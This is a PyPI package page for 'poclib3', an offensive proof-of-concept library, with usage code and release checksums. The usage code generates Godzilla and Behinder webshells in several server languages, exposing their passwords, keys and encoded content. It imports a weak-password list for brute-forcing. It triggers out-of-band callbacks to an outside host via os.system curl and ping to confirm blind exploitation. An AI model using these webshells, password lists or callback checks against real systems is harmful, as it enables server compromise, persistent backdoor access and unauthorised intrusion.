poclib3
Installation
pip3 install poclib3
Usage
Webshell
from poclib3.webshell import get_godzilla_jsp_shell, get_shell_result
# from poclib3.webshell import get_behinder4_jsp_shell
# from poclib3.webshell import get_behinder4_php_shell
# from poclib3.webshell import get_behinder4_aspx_shell
# from poclib3.webshell import get_behinder3_aspx_shell
# from poclib3.webshell import get_godzilla_jspx_shell
# from poclib3.webshell import get_godzilla_php_shell
# from poclib3.webshell import get_godzilla_aspx_shell
# from poclib3.webshell import get_godzilla_ashx_shell
# from poclib3.webshell import get_define_class_shell
webshell = get_godzilla_jsp_shell()
print(webshell.tool)
# godzilla
print(webshell.type)
# jsp
print(webshell.mode)
# java_aes_base64
print(webshell.pas)
# pass
print(webshell.key)
# key
print(webshell.raw_content)
# [raw webshell]
print(webshell.content)
# [unicode-encoding one-line webshell]
result = get_shell_result(webshell)
print(result)
# {'pas': 'pass', 'key': 'key', 'tool': 'godzilla', 'mode': 'java_aes_base64', 'type': 'jsp'}
Brute
from poclib3.brute import WEAK_PASSWORD
Atlas
export ATLAS_DOMAIN=...
export ATLAS_IDENTIFY=...
export ATLAS_TOKEN=...
import os
from poclib3.atlas import Atlas
atlas = Atlas()
flag = atlas.build_request(type="web")
os.system("curl " + flag["url"])
print(atlas.verify_request(flag["flag"], type="web"))
flag = atlas.build_request(type="dns")
os.system("ping -nc 2 " + flag["url"])
print(atlas.verify_request(flag["flag"], type="dns"))
Release files for poclib3 0.1.2
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| poclib3-0.1.2.tar.gz | 14.0 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| poclib3-0.1.2-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 31.4 kB
Release files / poclib3-0.1.2.tar.gz
| Download URL | poclib3-0.1.2.tar.gz |
|---|---|
| Size | 14.0 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
56348e83efc7274715ef9c4b8c8fe326cdafbcfa09076b860a51cff91714e4c4
|
|
BLAKE2b-256 checksum How to use checksums |
501559ce5c2596c5a49d22e164c8e017e917c07a7bdc75319ec487fb5ec43a0d
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/4.0.2 CPython/3.11.6
|
Release files / poclib3-0.1.2-py3-none-any.whl
| Download URL | poclib3-0.1.2-py3-none-any.whl |
|---|---|
| Size | 17.4 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
700367f2dea59bb10829cdf248240fccd57ae70e7512bb9d629a75e4dd3b334c
|
|
BLAKE2b-256 checksum How to use checksums |
973c6bbd373947c33b669f23c93afa292dbe02870472d6ffb6e8fd69cf178346
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/4.0.2 CPython/3.11.6
|